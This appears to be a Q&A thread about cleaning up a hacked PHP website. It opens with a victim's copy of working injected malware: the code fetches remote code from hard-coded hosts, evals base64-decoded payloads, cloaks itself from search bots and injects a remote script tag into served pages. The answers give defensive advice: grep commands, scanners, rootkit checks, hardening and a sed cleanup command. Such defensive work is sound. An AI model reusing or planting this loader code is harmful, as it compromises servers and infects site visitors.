curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777($url)
{
if (function_exists('file') === false)
return false;
$inc = #file($url);
$buf = #implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = #fopen($url, 'r');
if ($f) {
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = #fsockopen($host, 80, $errno, $errstr, 30);
if (!$f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function trysocket_777($url)
{
if (function_exists('socket_create') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = #gethostbyname($host);
$ip2 = #long2ip(#ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = #socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!#socket_connect($sock, $ip1, 80)) {
#socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
#socket_close($sock);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (#file_exists($tdsfile)) {
$mtime = #filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = #file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = #explode("\n", $content);
$c = #count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (!#is_dir($rz)) {
#mkdir($rz);
if (#is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (!#is_dir($rz)) {
#mkdir($rz);
if (#is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = base64_decode('http://ens122zzzddazz.com/');
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
$_SERVER['s_a2'] = base64_decode('http://nlinthewood.com/g_load.php') . $d;
$_SERVER['s_script'] = "nl.php?p=d";
}
setup_globals_777();
if (!function_exists('gml_777')) {
function gml_777()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
return $r_string_777;
}
}
if (!function_exists('gzdecodeit')) {
function gzdecodeit($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
ob_start('mrobh');
}
}
?>
First, shut off your site until you can figure out how he got in and how to fix it. That looks like it's serving malware to your clients.
Next, search through your php files for fgets, fopen, fputs, eval, or system. I recommend notepad++ because of its "Find in Files" feature. Also, make sure that that's the only place your PHP has been modified. Do you have an offline copy to compare against?
To get rid of these malicious PHP you simply needs to remove them. If the file is infected, you need to remove only the part which looks suspicious.
It's always tricky to find these files, because usually there are multiple of them across your web root.
Usually if you see some kind of obfuscations, it's red alert for you.
Most of the malwares are easy to find based on the common functions which they use, this includes:
base64_decode,
lzw_decompress,
eval,
and so on
By using encoding format, they're compacting their size and make them more difficult to decode by non-experienced users.
Here are few grep commands which may find the most common malware PHP code:
grep -R return.*base64_decode .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .
You can run these commands on the server or once you synchronised your website into your local machine (via FTP e.g. ncftpget -R).
Or use scan tools which are specially designed for finding that kind of malicious files, see: PHP security scanners.
For education purposes, please find the following collection of PHP exploit scripts, found when investigating hacked servers available at kenorb/php-exploit-scripts GitHub (influenced by #Mattias original collection). This will give you understanding how these PHP suspicious files look like, so you can learn how to find more of them on your server.
See also:
What does this malicious PHP script do?
Drupal: How to remove malicious scripts from admin pages after being hacked?
My websites / or websites I host were hit several times with similar attacks.
I present what I did to resolve the issue. I don't pretend it's the best / easiest approach but it works and since then I can proactively keep the ball in my field.
solve the issue ASAP
I created a very simple PHP script (it was written when the iron was hot so maybe it's not the most optimized code BUT it solves the problem pretty fast):
http://www.ecommy.com/web-security/clean-php-files-from-eval-infection
make sure you know when something like this hits again. Hackers use all kind of aproaches from SQL injection of one of your external modules you install to brute force your admin panel with dictionary attacks or very well known password patterns like 1qaz... qwerty.... etc...
I present the scripts here:
http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections
the cron entry would be something like:
0 2 * * 5 /root/scripts/base64eval_scan > /dev/null 2>&1&
I updated the pages so someone can download directly the files.
Hope it will he useful for you as it's for me :)
Ensure any popular web applications like Wordpress or vBulletin are updated. There are many exploits with the old versions that can lead to your server getting compromised and it will probably happen again if they are not updated. No use in proceeding until this is done.
If the files keep getting replaced then there is a rootkit or trojan running in the background. That file cannot replicate itself. You will have to get rid of the rootkit first. Try rkhunter, chkrootkit, and LMD. Compare the output of ps aux to a secured server and check /var/tmp and /tmp for suspicious files. You might have to reinstall the OS.
Ensure all workstations administrating the server are up to date and clean. Do not connect via insecure wireless connections or use plain text authentication like with FTP (use SFTP instead). Only log into control panels with https.
To prevent this from happening again run csf or comparable firewall, daily LMD scans, and stay current with the latest security patches for all applications on the server.
I have the same issue and when I delete that, the code generated automatically.I did these steps and it works fine:
1-Limit SSH access
I see some ssh logins attempt and guess it may be related to this Malicious!
2- Enable SELinux
remember that config SElinux for nignx permission access file
3- Remove eval(base64_decode(...))
remove lines contain eval(base64_decode(...)) from all index.php [from root folders, plugin's folders and ....]
Assuming this is a Linux-based server and you have SSH access, you could run this to remove the offending code:
find . -name "*.php" | xargs sed -i 's#eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;##'
This covers all known base64 implementations, and will work whether the base64 text is surrounded by single or double quotes
EDIT: now works with internal whitespace also